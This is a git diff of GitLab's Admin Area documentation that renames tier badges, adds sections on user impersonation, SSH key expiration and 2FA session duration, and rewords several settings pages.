Settings | Modify the [settings](settings/index.md) for your GitLab instance. | ## Admin Dashboard @@ -144,6 +144,19 @@ To search for users, enter your criteria in the search field. The user search is insensitive, and applies partial matching to name and username. To search for an email address, you must provide the complete email address. +#### User impersonation + +An administrator can "impersonate" any other user, including other administrator users. +This allows the administrator to "see what the user sees," and take actions on behalf of the user. +You can impersonate a user in the following ways: + +- Through the UI, by selecting **Admin Area > Overview > Users > Select a user > Impersonate**. +- With the API, using [impersonation tokens](../../api/README.md#impersonation-tokens). + +All impersonation activities are [captured with audit events](../../administration/audit_events.md#impersonation-data). + + + #### Users statistics The **Users statistics** page provides an overview of user accounts by role. These statistics are @@ -242,7 +255,7 @@ For each runner, the following attributes are listed: | Projects | Projects to which the runner is assigned | | Jobs | Total of jobs run by the runner | | Tags | Tags associated with the runner | -| Last contact | Timestamp indicating when the GitLab instance last contacted the runner | +| Last contact | Timestamp indicating when the runner last contacted the GitLab instance | You can also edit, pause, or remove each runner. @@ -267,7 +280,7 @@ For each Gitaly server, the following details are listed: The following topics document the **Monitoring** section of the Admin Area. -### System Info +### System Information The **System Info** page provides the following statistics: @@ -300,7 +313,9 @@ The Sidekiq dashboard consists of the following elements: ### Logs -The **Logs** page provides access to the following log files: +Since GitLab 13.0, **Log** view has been removed from the admin dashboard since the logging does not work in multi-node setups and could cause confusion for administrators by displaying partial information. + +For multi-node systems we recommend ingesting the logs into services like Elasticsearch and Splunk. | Log file | Contents | | :---------------------- | :------- | @@ -312,7 +327,7 @@ The **Logs** page provides access to the following log files: | `integrations_json.log` | Activity between GitLab and integrated systems | | `kubernetes.log` | Kubernetes activity | -The contents of these log files can be useful when troubleshooting a problem. Access is available to GitLab admins, without requiring direct access to the log files. +The contents of these log files can be useful when troubleshooting a problem. For details of these log files and their contents, see [Log system](../../administration/logs.md). @@ -322,6 +337,6 @@ The content of each log file is listed in chronological order. To minimize perfo The **Requests Profiles** page contains the token required for profiling. For more details, see [Request Profiling](../../administration/monitoring/performance/request_profiling.md). -### Audit Events **(PREMIUM ONLY)** +### Audit Events **(PREMIUM SELF)** The **Audit Events** page lists changes made within the GitLab server. With this information you can control, analyze, and track every change. diff --git a/doc/user/admin_area/labels.md b/doc/user/admin_area/labels.md index cc9735df9d6..b5dbf835d70 100644 --- a/doc/user/admin_area/labels.md +++ b/doc/user/admin_area/labels.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference --- -# Labels administration **(CORE ONLY)** +# Labels administration **(FREE SELF)** In the Admin Area, you can manage labels for the GitLab instance. For more details, see [Labels](../project/labels.md). diff --git a/doc/user/admin_area/license.md b/doc/user/admin_area/license.md index d06b0c844ec..505f54e9ae9 100644 --- a/doc/user/admin_area/license.md +++ b/doc/user/admin_area/license.md @@ -13,7 +13,7 @@ you are running. To verify, sign in to GitLab and browse to `/help`. The GitLab are listed at the top of the **Help** page. If you are running GitLab Community Edition (CE), upgrade your installation to -GitLab Enterprise Edition (EE). For more details, see [Upgrading between editions](../../update/README.md#upgrading-between-editions). +GitLab Enterprise Edition (EE). For more details, see [Upgrading between editions](../../update/index.md#upgrading-between-editions). If you have questions or need assistance upgrading from GitLab CE to EE please [contact GitLab Support](https://about.gitlab.com/support/#contact-support). The license is a base64-encoded ASCII text file with a `.gitlab-license` @@ -25,7 +25,7 @@ by **signing into your GitLab instance as an admin** or adding it at installation time. As of GitLab Enterprise Edition 9.4.0, a newly-installed instance without an -uploaded license only has the Core features active. A trial license +uploaded license only has the Free features active. A trial license activates all Ultimate features, but after [the trial expires](#what-happens-when-your-license-expires), some functionality is locked. @@ -86,13 +86,13 @@ These methods only add a license at the time of installation. Use the After the license is uploaded, all GitLab Enterprise Edition functionality is active until the end of the license period. When that period ends, the -instance will [fall back](#what-happens-when-your-license-expires) to Core-only +instance will [fall back](#what-happens-when-your-license-expires) to Free-only functionality. You can review the license details at any time in the **License** section of the **Admin Area**. - + ## Notification before the license expires @@ -106,7 +106,7 @@ In case your license expires, GitLab locks down some features like Git pushes, and issue creation, and displays a message to all administrators to inform of the expired license. To get back all the previous functionality, you must upload a new license. -To fall back to having only the Core features active, you must delete the +To fall back to having only the Free features active, you must delete the expired license(s). ### Remove a license @@ -133,7 +133,7 @@ The banner disappears after the new license becomes active. ### There is no License tab in the Admin Area If you originally installed Community Edition rather than Enterprise Edition you must -[upgrade to Enterprise Edition](../../update/README.md#community-to-enterprise-edition) +[upgrade to Enterprise Edition](../../update/index.md#community-to-enterprise-edition) before uploading your license. GitLab.com users can't upload and use a self-managed license. If you diff --git a/doc/user/admin_area/merge_requests_approvals.md b/doc/user/admin_area/merge_requests_approvals.md index 5264f3b770b..d6ffde7be95 100644 --- a/doc/user/admin_area/merge_requests_approvals.md +++ b/doc/user/admin_area/merge_requests_approvals.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference, concepts --- -# Merge request approval rules **(PREMIUM ONLY)** +# Merge request approval rules **(PREMIUM SELF)** > Introduced in [GitLab Premium](https://gitlab.com/gitlab-org/gitlab/-/issues/39060) 12.8. diff --git a/doc/user/admin_area/monitoring/convdev.md b/doc/user/admin_area/monitoring/convdev.md deleted file mode 100644 index d9c3950f2e4..00000000000 --- a/doc/user/admin_area/monitoring/convdev.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -redirect_to: '../analytics/dev_ops_report.md' ---- - -Conversational Development Index was renamed to [DevOps Report](../analytics/dev_ops_report.md) in GitLab 12.6. diff --git a/doc/user/admin_area/monitoring/dev_ops_report.md b/doc/user/admin_area/monitoring/dev_ops_report.md deleted file mode 100644 index 2cc9f153de3..00000000000 --- a/doc/user/admin_area/monitoring/dev_ops_report.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../analytics/dev_ops_report.md' ---- - -This document was moved to [another location](../analytics/dev_ops_report.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/admin_area/monitoring/health_check.md b/doc/user/admin_area/monitoring/health_check.md index 3c08a330b13..2d4683911fb 100644 --- a/doc/user/admin_area/monitoring/health_check.md +++ b/doc/user/admin_area/monitoring/health_check.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: concepts, howto --- -# Health Check **(CORE ONLY)** +# Health Check **(FREE SELF)** > - Liveness and readiness probes were [introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/10416) in GitLab 9.1. > - The `health_check` endpoint was [introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/3888) in GitLab 8.8 and was @@ -15,7 +15,7 @@ type: concepts, howto GitLab provides liveness and readiness probes to indicate service health and reachability to required services. These probes report on the status of the -database connection, Redis connection, and access to the filesystem. These +database connection, Redis connection, and access to the file system. These endpoints [can be provided to schedulers like Kubernetes](https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/) to hold traffic until the system is ready or restart the container as needed. diff --git a/doc/user/admin_area/settings/account_and_limit_settings.md b/doc/user/admin_area/settings/account_and_limit_settings.md index 028858c96f6..70416c224c7 100644 --- a/doc/user/admin_area/settings/account_and_limit_settings.md +++ b/doc/user/admin_area/settings/account_and_limit_settings.md @@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference --- -# Account and limit settings **(CORE ONLY)** +# Account and limit settings **(FREE SELF)** ## Default projects limit @@ -13,7 +13,8 @@ You can change the default maximum number of projects that users can create in t Navigate to **Admin Area > Settings > General**, then expand **Account and Limit**. You can increase or decrease that `Default projects limit` value. -- If you set `Default projects limit` to 0, users are not allowed to create projects in their users personal namespace. However, projects can still be created within a group. +- If you set `Default projects limit` to 0, users are not allowed to create projects + in their users personal namespace. However, projects can still be created in a group. ## Max attachment size @@ -22,8 +23,8 @@ Navigate to **Admin Area > Settings > General**, then expand **Account and Limit From here, you can increase or decrease by changing the value in `Maximum attachment size (MB)`. NOTE: -If you choose a size larger than what is currently configured for the web server, -you will likely get errors. See the [troubleshooting section](#troubleshooting) for more +If you choose a size larger than the configured value for the web server, +you may receive errors. See the [troubleshooting section](#troubleshooting) for more details. ## Max push size @@ -39,8 +40,8 @@ Navigate to **Admin Area > Settings > General**, then expand **Account and Limit From here, you can increase or decrease by changing the value in `Maximum import size (MB)`. NOTE: -If you choose a size larger than what is currently configured for the web server, -you will likely get errors. See the [troubleshooting section](#troubleshooting) for more +If you choose a size larger than the configured value for the web server, +you may receive errors. See the [troubleshooting section](#troubleshooting) for more details. ## Personal Access Token prefix @@ -62,14 +63,11 @@ to any PAT generated in the system by any user: It is also possible to configure the prefix via the [settings API](../../../api/settings.md) using the `personal_access_token_prefix` field. -## Repository size limit **(STARTER ONLY)** +## Repository size limit **(PREMIUM SELF)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/740) in [GitLab Enterprise Edition 8.12](https://about.gitlab.com/releases/2016/09/22/gitlab-8-12-released/#limit-project-size-ee). - -Repositories within your GitLab instance can grow quickly, especially if you are +Repositories in your GitLab instance can grow quickly, especially if you are using LFS. Their size can grow exponentially, rapidly consuming available storage. - -To avoid this from happening, you can set a hard limit for your repositories' size. +To prevent this from happening, you can set a hard limit for your repositories' size. This limit can be set globally, per group, or per project, with per project limits taking the highest priority. @@ -88,7 +86,7 @@ For instance, consider the following workflow: Only a GitLab administrator can set those limits. Setting the limit to `0` means there are no restrictions. -These settings can be found within: +These settings can be found in: - Each project's settings: 1. From the Project's homepage, navigate to **Settings > General**. @@ -104,9 +102,9 @@ These settings can be found within: 1. Fill in the **Size limit per repository (MB)** field. 1. Click **Save changes**. -The first push of a new project, including LFS objects, will be checked for size -and **will** be rejected if the sum of their sizes exceeds the maximum allowed -repository size. +The first push of a new project, including LFS objects, is checked for size. +If the sum of their sizes exceeds the maximum allowed repository size, the push +is rejected. NOTE: The repository size limit includes repository files and LFS, but does not include artifacts, uploads, @@ -121,29 +119,46 @@ For GitLab.com repository size limits, see [accounts and limit settings](../../g ### 413 Request Entity Too Large -If you are attaching a file to a comment or reply in GitLab and receive the `413 Request Entity Too Large` -error, it is likely caused by having a [max attachment size](#max-attachment-size) -larger than what the web server is configured to allow. +When attaching a file to a comment or reply in GitLab displays a `413 Request Entity Too Large` +error, the [max attachment size](#max-attachment-size) +is probably larger than the web server's allowed value. -If you wanted to increase the max attachment size to 200m in a GitLab -[Omnibus](https://docs.gitlab.com/omnibus/) install, for example, you might need to +To increase the max attachment size to 200 MB in a +[Omnibus GitLab](https://docs.gitlab.com/omnibus/) install, you may need to add the line below to `/etc/gitlab/gitlab.rb` before increasing the max attachment size: ```ruby nginx['client_max_body_size'] = "200m" ``` -## Limiting lifetime of personal access tokens **(ULTIMATE ONLY)** +## Customize session duration for Git Operations when 2FA is enabled **(PREMIUM)** + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/296669) in GitLab 13.9. +> - It's deployed behind a feature flag, disabled by default. +> - It's disabled on GitLab.com. +> - It's not recommended for production use. +> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](../../../security/two_factor_authentication.md#enable-or-disable-two-factor-authentication-2fa-for-git-operations) -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/3649) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.6. +GitLab administrators can choose to customize the session duration (in minutes) for Git operations when 2FA is enabled. The default is 15 and this can be set to a value between 1 and 10080. + +To set a limit on how long these sessions are valid: + +1. Navigate to **Admin Area > Settings > General**. +1. Expand the **Account and limit** section. +1. Fill in the **Session duration for Git operations when 2FA is enabled (minutes)** field. +1. Click **Save changes**. + +## Limiting lifetime of personal access tokens **(ULTIMATE SELF)** + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/3649) in GitLab Ultimate 12.6. Users can optionally specify an expiration date for [personal access tokens](../../profile/personal_access_tokens.md). This expiration date is not a requirement, and can be set to any arbitrary date. -Since personal access tokens are the only token needed for programmatic access to GitLab, -organizations with security requirements may want to enforce more protection to require -regular rotation of these tokens. +Personal access tokens are the only tokens needed for programmatic access to GitLab. +However, organizations with security requirements may want to enforce more protection by +requiring the regular rotation of these tokens. ### Setting a limit @@ -157,48 +172,40 @@ To set a limit on how long personal access tokens are valid: 1. Fill in the **Maximum allowable lifetime for personal access tokens (days)** field. 1. Click **Save changes**. -Once a lifetime for personal access tokens is set, GitLab will: +Once a lifetime for personal access tokens is set, GitLab: -- Apply the lifetime for new personal access tokens, and require users to set an expiration date +- Applies the lifetime for new personal access tokens, and require users to set an expiration date and a date no later than the allowed lifetime. - After three hours, revoke old tokens with no expiration date or with a lifetime longer than the allowed lifetime. Three hours is given to allow administrators to change the allowed lifetime, or remove it, before revocation takes place. -## Optional enforcement of Personal Access Token expiry **(ULTIMATE ONLY)** - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/214723) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.1. -> - It is deployed behind a feature flag, disabled by default. -> - It is disabled on GitLab.com. -> - It is not recommended for production use. -> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-optional-enforcement-of-personal-access-token-expiry-feature). **(CORE ONLY)** +## Enforcement of SSH key expiration **(ULTIMATE SELF)** -GitLab administrators can choose to prevent personal access tokens from expiring automatically. The tokens will be usable after the expiry date, unless they are revoked explicitly. +GitLab administrators can choose to enforce the expiration of SSH keys after their expiration dates. +If you enable this feature, this disables all _expired_ SSH keys. To do this: 1. Navigate to **Admin Area > Settings > General**. 1. Expand the **Account and limit** section. -1. Uncheck the **Enforce personal access token expiration** checkbox. +1. Select the **Enforce SSH key expiration** checkbox. -### Enable or disable optional enforcement of Personal Access Token expiry Feature **(CORE ONLY)** +## Optional enforcement of Personal Access Token expiry **(ULTIMATE SELF)** -Optional Enforcement of Personal Access Token Expiry is deployed behind a feature flag and is **disabled by default**. -[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md) can enable it for your instance from the [rails console](../../../administration/feature_flags.md#start-the-gitlab-rails-console). +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/214723) in GitLab Ultimate 13.1. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/296881) in GitLab 13.9. -To enable it: +GitLab administrators can choose to prevent personal access tokens from expiring +automatically. The tokens are usable after the expiry date, unless they are revoked explicitly. -```ruby -Feature.enable(:enforce_pat_expiration) -``` - -To disable it: +To do this: -```ruby -Feature.disable(:enforce_pat_expiration) -``` +1. Navigate to **Admin Area > Settings > General**. +1. Expand the **Account and limit** section. +1. Uncheck the **Enforce personal access token expiration** checkbox. -## Disabling user profile name changes **(PREMIUM ONLY)** +## Disabling user profile name changes **(PREMIUM SELF)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/24605) in GitLab 12.7. @@ -210,4 +217,6 @@ To do this: 1. Check the **Prevent users from changing their profile name** checkbox. NOTE: -When this ability is disabled, GitLab administrators will still be able to update the name of any user in their instance via the [Admin UI](../index.md#administering-users) or the [API](../../../api/users.md#user-modification) +When this ability is disabled, GitLab administrators can still use the +[Admin UI](../index.md#administering-users) or the +[API](../../../api/users.md#user-modification) to update usernames. diff --git a/doc/user/admin_area/settings/continuous_integration.md b/doc/user/admin_area/settings/continuous_integration.md index 6418be13ee9..761fc6477d6 100644 --- a/doc/user/admin_area/settings/continuous_integration.md +++ b/doc/user/admin_area/settings/continuous_integration.md @@ -5,14 +5,14 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference --- -# Continuous Integration and Deployment Admin settings **(CORE ONLY)** +# Continuous Integration and Deployment Admin settings **(FREE SELF)** In this area, you will find settings for Auto DevOps, runners, and job artifacts. You can find it in the **Admin Area > Settings > CI/CD**.  -## Auto DevOps **(CORE ONLY)** +## Auto DevOps **(FREE SELF)** To enable (or disable) [Auto DevOps](../../../topics/autodevops/index.md) for all projects: @@ -29,7 +29,7 @@ From now on, every existing project and newly created ones that don't have a If you want to disable it for a specific project, you can do so in [its settings](../../../topics/autodevops/index.md#enablingdisabling-auto-devops). -## Maximum artifacts size **(CORE ONLY)** +## Maximum artifacts size **(FREE SELF)** The maximum size of the [job artifacts](../../../administration/job_artifacts.md) can be set at: @@ -65,7 +65,7 @@ To change it at the: NOTE: The setting at all levels is only available to GitLab administrators. -## Default artifacts expiration **(CORE ONLY)** +## Default artifacts expiration **(FREE SELF)** The default expiration time of the [job artifacts](../../../administration/job_artifacts.md) can be set in the Admin Area of your GitLab instance. The syntax of duration is @@ -86,9 +86,28 @@ be updated for artifacts created before this setting was changed. The administrator may need to manually search for and expire previously-created artifacts, as described in the [troubleshooting documentation](../../../administration/troubleshooting/gitlab_rails_cheat_sheet.md#remove-artifacts-more-than-a-week-old). -## Shared runners pipeline minutes quota **(STARTER ONLY)** +## Keep the latest artifacts for all jobs in the latest successful pipelines **(CORE ONLY)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/1078) in GitLab Starter 8.16. +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/50889) in GitLab Core 13.9. + +When enabled (default), the artifacts for the most recent pipeline for a ref are +locked against deletion and kept regardless of the expiry time. + +When disabled, the latest artifacts for any **new** successful or fixed pipelines +are allowed to expire. + +This setting takes precedence over the [project level setting](../../../ci/pipelines/job_artifacts.md#keep-artifacts-from-most-recent-successful-jobs). +If disabled at the instance level, you cannot enable this per-project. + +When you disable the feature, the latest artifacts do not immediately expire. +A new pipeline must run before the latest artifacts can expire and be deleted. + +NOTE: +All application settings have a [customizable cache expiry interval](../../../administration/application_settings_cache.md) which can delay the settings affect. + +## Shared runners pipeline minutes quota **(PREMIUM SELF)** + +> [Moved](https://about.gitlab.com/blog/2021/01/26/new-gitlab-product-subscription-model/) to GitLab Premium in 13.9. If you have enabled shared runners for your GitLab instance, you can limit their usage by setting a maximum number of pipeline minutes that a group can use on @@ -126,7 +145,7 @@ a group in the **Usage Quotas** page available to the group page settings list.  -## Archive jobs **(CORE ONLY)** +## Archive jobs **(FREE SELF)** Archiving jobs is useful for reducing the CI/CD footprint on the system by removing some of the capabilities of the jobs (metadata needed to run the job), @@ -156,21 +175,9 @@ Area of your GitLab instance (`.gitlab-ci.yml` if not set): 1. Input the new path in the **Default CI configuration path** field. 1. Hit **Save changes** for the changes to take effect. -It is also possible to specify a [custom CI configuration path for a specific project](../../../ci/pipelines/settings.md#custom-ci-configuration-path). +It is also possible to specify a [custom CI/CD configuration path for a specific project](../../../ci/pipelines/settings.md#custom-cicd-configuration-path). -<!-- ## Troubleshooting - -Include any troubleshooting steps that you can foresee. If you know beforehand what issues -one might have when setting this up, or when something is changed, or on upgrading, it's -important to describe those, too. Think of things that may go wrong and include them here. -This is important to minimize requests for support, and to avoid doc comments with -questions that you know someone might ask. - -Each scenario can be a third-level heading, e.g. `### Getting error message X`. -If you have none to add when creating a doc, leave this section in place -but commented out to help encourage others to add to it in the future. --> - -## Required pipeline configuration **(PREMIUM ONLY)** +## Required pipeline configuration **(PREMIUM SELF)** WARNING: This feature is being re-evaluated in favor of a different @@ -204,18 +211,18 @@ To set required pipeline configuration: ## Package Registry configuration -### NPM Forwarding **(PREMIUM ONLY)** +### npm Forwarding **(PREMIUM SELF)** -GitLab administrators can disable the forwarding of NPM requests to [npmjs.com](https://www.npmjs.com/). +GitLab administrators can disable the forwarding of npm requests to [npmjs.com](https://www.npmjs.com/). To disable it: 1. Go to **Admin Area > Settings > CI/CD**. 1. Expand the **Package Registry** section. -1. Uncheck **Enable forwarding of NPM package requests to npmjs.org**. +1. Uncheck **Enable forwarding of npm package requests to npmjs.org**. 1. Click **Save changes**. - + ### Package file size limits @@ -228,3 +235,14 @@ To set the maximum file size: 1. Find the package type you would like to adjust. 1. Enter the maximum file size, in bytes. 1. Click **Save size limits**. + +## Troubleshooting + +### 413 Request Entity Too Large + +When build jobs fail with the following error, +increase the [maximum artifacts size](#maximum-artifacts-size). + +```plaintext +Uploading artifacts as "archive" to coordinator... too large archive <job-id> responseStatus=413 Request Entity Too Large status=413" at end of a build job on pipeline when trying to store artifacts to <object-storage>. +``` diff --git a/doc/user/admin_area/settings/email.md b/doc/user/admin_area/settings/email.md index 4ebfac57715..2eaff417ba3 100644 --- a/doc/user/admin_area/settings/email.md +++ b/doc/user/admin_area/settings/email.md @@ -5,7 +5,7 @@ group: Project Management info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Email **(CORE ONLY)** +# Email **(FREE SELF)** You can customize some of the content in emails sent from your GitLab instance. @@ -13,7 +13,7 @@ You can customize some of the content in emails sent from your GitLab instance. The logo in the header of some emails can be customized, see the [logo customization section](../appearance.md#navigation-bar). -## Custom additional text **(PREMIUM ONLY)** +## Custom additional text **(PREMIUM SELF)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/5031) in [GitLab Premium](https://about.gitlab.com/pricing/) 10.7. @@ -40,7 +40,7 @@ In order to change this option: 1. Select **Save changes**. NOTE: -Once the hostname gets configured, every private commit email using the previous hostname, will not get +After the hostname gets configured, every private commit email using the previous hostname is not recognized by GitLab. This can directly conflict with certain [Push rules](../../../push_rules/push_rules.md) such as `Check whether author is a GitLab user` and `Check whether committer is the current authenticated user`. diff --git a/doc/user/admin_area/settings/external_authorization.md b/doc/user/admin_area/settings/external_authorization.md index 18ae7e6f05a..0975b93f98f 100644 --- a/doc/user/admin_area/settings/external_authorization.md +++ b/doc/user/admin_area/settings/external_authorization.md @@ -5,10 +5,9 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference --- -# External authorization control **(CORE ONLY)** +# External authorization control **(FREE SELF)** -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/4216) in [GitLab Premium](https://about.gitlab.com/pricing/) 10.6. -> - [Moved](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/27056) to [GitLab Core](https://about.gitlab.com/pricing/) in 11.10. +> - [Moved](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/27056) to GitLab Free in 11.10. In highly controlled environments, it may be necessary for access policy to be controlled by an external service that permits access based on project diff --git a/doc/user/admin_area/settings/gitaly_timeouts.md b/doc/user/admin_area/settings/gitaly_timeouts.md index d196dc1730e..3570634b9ba 100644 --- a/doc/user/admin_area/settings/gitaly_timeouts.md +++ b/doc/user/admin_area/settings/gitaly_timeouts.md @@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference --- -# Gitaly timeouts **(CORE ONLY)** +# Gitaly timeouts **(FREE SELF)** [Gitaly](../../../administration/gitaly/index.md) timeouts are configurable. The timeouts can be configured to make sure that long running Gitaly calls don't needlessly take up resources. diff --git a/doc/user/admin_area/settings/index.md b/doc/user/admin_area/settings/index.md index 9a661fa9716..3377b1674db 100644 --- a/doc/user/admin_area/settings/index.md +++ b/doc/user/admin_area/settings/index.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: index --- -# Admin Area settings **(CORE ONLY)** +# Admin Area settings **(FREE SELF)** As an administrator of a GitLab self-managed instance, you can manage the behavior of your deployment. To do so, select **Admin Area > Settings**. @@ -36,7 +36,7 @@ Access the default page for admin area settings by navigating to **Admin Area > | [Elasticsearch](../../../integration/elasticsearch.md#enabling-advanced-search) | Elasticsearch integration. Elasticsearch AWS IAM. | | [Kroki](../../../administration/integration/kroki.md#enable-kroki-in-gitlab) | Allow rendering of diagrams in AsciiDoc and Markdown documents using [kroki.io](https://kroki.io). | | [PlantUML](../../../administration/integration/plantuml.md#gitlab) | Allow rendering of PlantUML diagrams in AsciiDoc and Markdown documents. | -| [Slack application](../../../user/project/integrations/gitlab_slack_application.md#configuration) **(FREE ONLY)** | Slack integration allows you to interact with GitLab via slash commands in a chat window. This option is only available on GitLab.com, though it may be [available for self-managed instances in the future](https://gitlab.com/gitlab-org/gitlab/-/issues/28164). | +| [Slack application](../../../user/project/integrations/gitlab_slack_application.md#configuration) **(FREE SAAS)** | Slack integration allows you to interact with GitLab via slash commands in a chat window. This option is only available on GitLab.com, though it may be [available for self-managed instances in the future](https://gitlab.com/gitlab-org/gitlab/-/issues/28164). | | [Third party offers](third_party_offers.md) | Control the display of third party offers. | | [Snowplow](../../../development/snowplow.md) | Configure the Snowplow integration. | | [Google GKE](../../project/clusters/add_gke_clusters.md) | Google GKE integration allows you to provision GKE clusters from GitLab. | @@ -52,7 +52,7 @@ Access the default page for admin area settings by navigating to **Admin Area > | Repository maintenance | ([Repository checks](../../../administration/repository_checks.md) and [Housekeeping](../../../administration/housekeeping.md)). Configure automatic Git checks and housekeeping on repositories. | | [Repository static objects](../../../administration/static_objects_external_storage.md) | Serve repository static objects (for example, archives, blobs, ...) from an external storage (for example, a CDN). | -## Templates **(PREMIUM ONLY)** +## Templates **(PREMIUM SELF)** | Option | Description | | ------ | ----------- | @@ -64,7 +64,7 @@ Access the default page for admin area settings by navigating to **Admin Area > | Option | Description | | ------ | ----------- | | [Continuous Integration and Deployment](continuous_integration.md) | Auto DevOps, runners and job artifacts. | -| [Required pipeline configuration](continuous_integration.md#required-pipeline-configuration) **(PREMIUM ONLY)** | Set an instance-wide auto included [pipeline configuration](../../../ci/yaml/README.md). This pipeline configuration is run after the project's own configuration. | +| [Required pipeline configuration](continuous_integration.md#required-pipeline-configuration) **(PREMIUM SELF)** | Set an instance-wide auto included [pipeline configuration](../../../ci/yaml/README.md). This pipeline configuration is run after the project's own configuration. | | [Package Registry](continuous_integration.md#package-registry-configuration) | Settings related to the use and experience of using the GitLab Package Registry. Note there are [risks involved](../../packages/container_registry/index.md#use-with-external-container-registries) in enabling some of these settings. | ## Reporting @@ -80,7 +80,7 @@ Access the default page for admin area settings by navigating to **Admin Area > | ------ | ----------- | | [Metrics - Prometheus](../../../administration/monitoring/prometheus/gitlab_metrics.md) | Enable and configure Prometheus metrics. | | [Metrics - Grafana](../../../administration/monitoring/performance/grafana_configuration.md#integration-with-gitlab-ui) | Enable and configure Grafana. | -| [Profiling - Performance bar](../../../administration/monitoring/performance/performance_bar.md#enable-the-performance-bar-via-the-admin-panel) | Enable access to the Performance Bar for a given group. | +| [Profiling - Performance bar](../../../administration/monitoring/performance/performance_bar.md#enable-the-performance-bar-via-the-admin-area) | Enable access to the Performance Bar for a given group. | | [Self monitoring](../../../administration/monitoring/gitlab_self_monitoring_project/index.md#creating-the-self-monitoring-project) | Enable or disable instance self monitoring. | | [Usage statistics](usage_statistics.md) | Enable or disable version check and usage ping. | | [Pseudonymizer data collection](../../../administration/pseudonymizer.md) **(ULTIMATE)** | Enable or disable the Pseudonymizer data collection. | @@ -94,6 +94,7 @@ Access the default page for admin area settings by navigating to **Admin Area > | [Outbound requests](../../../security/webhooks.md) | Allow requests to the local network from hooks and services. | | [Protected Paths](protected_paths.md) | Configure paths to be protected by Rack Attack. | | [Incident Management](../../../operations/incident_management/index.md) Limits | Configure limits on the number of inbound alerts able to be sent to a project. | +| [Notes creation limit](rate_limit_on_notes_creation.md)| Set a rate limit on the note creation requests. | ## Geo diff --git a/doc/user/admin_area/settings/instance_template_repository.md b/doc/user/admin_area/settings/instance_template_repository.md index 42fa7fe6f54..7630f0c2fbd 100644 --- a/doc/user/admin_area/settings/instance_template_repository.md +++ b/doc/user/admin_area/settings/instance_template_repository.md @@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference --- -# Instance template repository **(PREMIUM ONLY)** +# Instance template repository **(PREMIUM SELF)** **(FREE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/5986) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.3. @@ -22,10 +22,9 @@ select the project to serve as the custom template repository.  -Once a project has been selected, you can add custom templates to the repository, -and they will appear in the appropriate places in the -[frontend](../../project/repository/web_editor.md#template-dropdowns) and -[API](../../../api/settings.md). +After that, you can add custom templates to the selected repository and use them for the entire instance. +They will be available on the [Web Editor's dropdown](../../project/repository/web_editor.md#template-dropdowns) +and through the [API settings](../../../api/settings.md). Templates must be added to a specific subdirectory in the repository, corresponding to the kind of template. The following types of custom templates @@ -61,9 +60,7 @@ extension and not be empty. So, the hierarchy should look like this: |-- another_metrics-dashboard.yml ``` -Once this is established, the list of custom templates will be included when -creating a new file and the template type is selected. These will appear at the -top of the list. +Your custom templates will be displayed on the dropdown menu when a new file is added through the GitLab UI:  diff --git a/doc/user/admin_area/settings/project_integration_management.md b/doc/user/admin_area/settings/project_integration_management.md index adb192f5b4a..18491f92650 100644 --- a/doc/user/admin_area/settings/project_integration_management.md +++ b/doc/user/admin_area/settings/project_integration_management.md @@ -17,7 +17,7 @@ for all projects that didn't have it already enabled. Only the complete settings for an integration can be inherited. Per-field inheritance is [planned](https://gitlab.com/groups/gitlab-org/-/epics/2137). -## Manage instance-level default settings for a project integration **(CORE ONLY)** +## Manage instance-level default settings for a project integration **(FREE SELF)** > - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/2137) in GitLab 13.3 for project-level integrations. > - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/2543) in GitLab 13.6 for group-level integrations. diff --git a/doc/user/admin_area/settings/protected_paths.md b/doc/user/admin_area/settings/protected_paths.md index a03156511e2..061e9fa05d3 100644 --- a/doc/user/admin_area/settings/protected_paths.md +++ b/doc/user/admin_area/settings/protected_paths.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference --- -# Protected paths **(CORE ONLY)** +# Protected paths **(FREE SELF)** Rate limiting is a common technique used to improve the security and durability of a web application. For more details, see diff --git a/doc/user/admin_area/settings/push_event_activities_limit.md 